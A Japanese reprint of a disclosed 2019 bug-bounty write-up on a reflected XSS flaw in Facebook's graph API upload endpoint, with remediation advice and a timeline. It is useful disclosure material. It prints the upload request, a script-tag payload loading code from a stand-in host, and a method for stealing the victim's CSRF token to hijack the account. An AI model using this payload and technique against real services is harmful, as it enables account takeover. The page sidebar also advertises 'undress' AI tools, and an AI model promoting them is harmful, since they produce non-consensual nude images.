検索
ホームページ運用・保守安全性反射型 XSS 脆弱性を利用して Facebook アカウントをハイジャックする

反射型 XSS 脆弱性を利用して Facebook アカウントをハイジャックする

脆弱性の状況

この脆弱性は IE および Edge ブラウザーでのみ有効であり、脆弱性の原因は graph.facebook です。 com の一部の API エンドポイントは、HTML コード応答を処理するときに完全かつ安全なエスケープ手段を実装していません。応答メッセージは JSON 形式であり、HTML コードはいずれかのフィールドの値として含まれており、応答メッセージには Content-Type または X-Content-Type-Options ヘッダーが付属していないため、 IE/Edgeを使用 構築コードが実行されます。

(これら 2 種類のブラウザはページ全体をスキャンして MIME ファイルの種類を決定しますが、他のブラウザは最初の数文字のみをチェックします)。

脆弱性の再発

1. まず、次のアップロード メソッドで POST リクエストを送信します:

POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD

ACCESS_TOKEN はAndroid 用 Facebook のファーストパーティ アプリケーションによって生成された有効なユーザー アクセス トークン、PAYLOAD は、被害者をブラウザーで実行するように誘導するために挿入する HTML コードです。リクエストが送信されると、リモート サーバーは次のような値を返します。これには、後で使用されるセッション ID が含まれています (詳細については Facebook の公式手順を参照してください):

{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}

テスト後、応答メッセージにコンテンツ セキュリティ ポリシー (CSP) の制限がないことが判明したため、外部リンクを含む js ファイルを使用して HTML コードを挿入できないか考えました (例:

<html><body><script src=//DOMAIN.com/script.js ></script></body></html>

2)。ここでのアップロード リクエストは、Facebook バックエンドの Base64 エンコード処理によって行われ、返される表示は次のようになります。これには、特別に埋め込んだペイロードが含まれています:

upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48
Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s

したがって、このエンコード文字列を使用した後、次のリクエストが発生します。 Facebook への POST リクエストを開始するために使用できます:

https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 
0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?s
ig=ARaCDqLfwoeI8V3s

3. したがって、上記のリクエスト文字列を使用して、手順 1 で生成した有効な access_token を追加し、HTML Web ページを構築して、それを自分のウェブサイト:

反射型 XSS 脆弱性を利用して Facebook アカウントをハイジャックする

このページには送信スタイルが含まれており、被害者がアクセスした後の応答メッセージは次のとおりです:

{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugb
AAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}

重要なことに、https ://DOMAIN.com/script.js のスクリプト ファイルは、被害者の「fb_dtsg」CSRF トークンを盗み、それを https://www.facebook.com/api/graphql/ に送信するのに役立ちます。 携帯電話番号または電子メール アドレスを使用してリクエストをバインドし、間接的な被害者のアカウント ハイジャックを実現します。

脆弱性の修復

1、在file_type参数中加入对HTML代码处理的安全转义措施;
2、给每个响应中加入“Content-type: application/json” 头避免进一步的攻击。
漏洞上报及处理进程
2019.10.10   漏洞初报
2019.10.10   Facebook确认
2019.10.11    Facebook修复
2019.10.24   Facebook奖励5000$

おすすめの関連記事とチュートリアル: Web サイトのセキュリティ チュートリアル

以上が反射型 XSS 脆弱性を利用して Facebook アカウントをハイジャックするの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明
この記事はFreeBuf.COMで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

VSCode Windows 64 ビットのダウンロード

VSCode Windows 64 ビットのダウンロード

Microsoft によって発売された無料で強力な IDE エディター

WebStorm Mac版

WebStorm Mac版

便利なJavaScript開発ツール

mPDF

mPDF

mPDF は、UTF-8 でエンコードされた HTML から PDF ファイルを生成できる PHP ライブラリです。オリジナルの作者である Ian Back は、Web サイトから「オンザフライ」で PDF ファイルを出力し、さまざまな言語を処理するために mPDF を作成しました。 HTML2FPDF などのオリジナルのスクリプトよりも遅く、Unicode フォントを使用すると生成されるファイルが大きくなりますが、CSS スタイルなどをサポートし、多くの機能強化が施されています。 RTL (アラビア語とヘブライ語) や CJK (中国語、日本語、韓国語) を含むほぼすべての言語をサポートします。ネストされたブロックレベル要素 (P、DIV など) をサポートします。

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Eclipse を SAP NetWeaver アプリケーション サーバーと統合します。

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター